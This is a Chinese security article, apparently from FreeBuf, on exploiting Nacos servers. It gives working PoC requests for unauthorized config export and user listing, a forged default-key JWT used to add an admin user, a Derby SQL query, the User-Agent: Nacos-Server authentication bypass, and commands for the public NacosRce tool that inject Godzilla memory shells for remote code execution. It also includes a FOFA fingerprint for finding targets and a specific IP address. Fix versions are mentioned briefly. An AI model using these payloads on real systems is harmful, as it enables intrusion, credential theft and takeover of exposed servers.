Nacos 漏洞利用总结
文章介绍了Nacos存在的多个安全漏洞,包括未授权访问、默认口令、Derby未授权访问、Hessian反序列化及权限认证绕过等问题,并提供了相应的POC和修复建议。 2025-9-27 09:25:28 Author: www.freebuf.com(查看原文) 阅读量:8 收藏

freeBuf

主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Nacos未授权漏洞

  1. 下载配置信息
    • fofa搜索:icon_hash="13942501"
    • poc:/v1/cs/configs?export=true&group=&tenant=&appName=&ids=&dataId=

图片

  1. 获取系统用户帐号及密码
    • http://8.134.152.2:8848/nacos/v1/auth/users?pageNo=1&pageSize=9&search=accurate&accessToken
    • curl -H "User-Agent: Nacos-Server" http://<target>:8848/nacos/v1/auth/users?pageNo=1

图片

默认口令漏洞

  • 影响版本:所有默认安装的 Nacos 版本
  • 漏洞描述:默认账号nacos/nacos未修改时,攻击者可直接登录控制台,获取配置信息、服务列表等敏感数据。
  • 修复版本:无官方修复,需手动修改密码。
  1. 使用POC和默认密钥查看当前用户名和密码:

    GET /nacos/v1/auth/users?accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY5ODg5NDcyN30.feetKmWoPnMkAebjkNnyuKo6c21_hzTgu0dfNqbdpZQ&pageNo=1&pageSize=9 HTTP/1.1
    Host: {{Hostname}}
    User-Agent: Mozilla/5.0
    Accept-Encoding: gzip, deflate
    Connection: close
    If-Modified-Since: Wed, 15 Feb 2023 10:45:10 GMT
    Upgrade-Insecure-Requests: 1
    accessToken: eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY5ODg5NDcyN30.feetKmWoPnMkAebjkNnyuKo6c21_hzTgu0dfNqbdpZQ
    
  2. 利用默认密钥,添加hellonacos用户密码为hellonacos,创建成功:

    POST /nacos/v1/auth/users HTTP/1.1
    Host: {{Hostname}}
    User-Agent: Mozilla/5.0
    Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY5ODg5NDcyN30.feetKmWoPnMkAebjkNnyuKo6c21_hzTgu0dfNqbdpZQ
    Accept-Encoding: gzip, deflate
    Connection: close
    Upgrade-Insecure-Requests: 1
    If-Modified-Since: Wed, 15 Feb 2023 10:45:10 GMT
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 39
    
    username=hellonacos&password=hellonacos
    

Derby 未授权访问漏洞(CVE-2021-29442)

nacos <= 1.4.0,无论是否开启鉴权,该漏洞都存在。当 nacos >14.0,在新版中默认没开鉴权,所有这个漏洞还存在。若开启了鉴权,版本大于1.4.0,则漏洞不存在。

快速判断:nacos/v1/cs/ops/derby?sql=**select** * **from users**

  • 修复版本:1.4.1+(需开启鉴权)

Hessian 反序列化漏洞

Nacos 在处理某些基于 Jraft 的请求时,采用 Hessian 进行反序列化,但并未设置限制,导致应用存在远程代码执行(RCE)漏洞。

影响版本:

  • 1.4.0 <= Nacos < 1.4.6 使用cluster集群模式运行
  • 2.0.0 <= Nacos < 2.2.3 任意模式启动
  1. 复现

    • 复现工具:https://github.com/c0olw/NacosRce/
    • 自动注入内存马并执行命令:java -jar NacosRce.jar Url Jraft端口 "Command"
      java -jar NacosRce.jar http://192.168.90.1:8848/nacos 7848 "whoami"
      
    • 只注入内存马:
      java -jar NacosRce.jar http://192.168.90.1:8848/nacos 7848 memshell
      
    • 哥斯拉内存马:
      • 需要设置请求头x-client-data:godzilla
      • 设置Referer:https://www.google.com/
      • 路径随意
      • 密码是pass和key
  2. 实际测试

    • 测试失败

图片

权限认证绕过漏洞(CVE-2021-29441)

  • 影响版本:<=1.4.1(即使开启鉴权)
  • 漏洞描述:添加 HTTP 头User-Agent: Nacos-Server可绕过鉴权,执行用户添加、配置修改等操作。
  • 修复版本:1.4.2+

<=Nacos 1.4.1 配置为使用身份验证(nacos.core.auth.enabled=true),验证方法:

  1. 编辑 conf\application.properties文件,将 nacos.core.auth.enabled 值设置为true
  2. 访问 nacos/v1/auth/users?pageNo=1&pageSize=9 显示403

图片

  1. 添加 User-Agent: Nacos-Server

图片

  1. 然后可以添加用户

图片

图片

本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)


文章来源: https://www.freebuf.com/articles/vuls/450797.html
如有侵权请联系:admin#unsafe.sh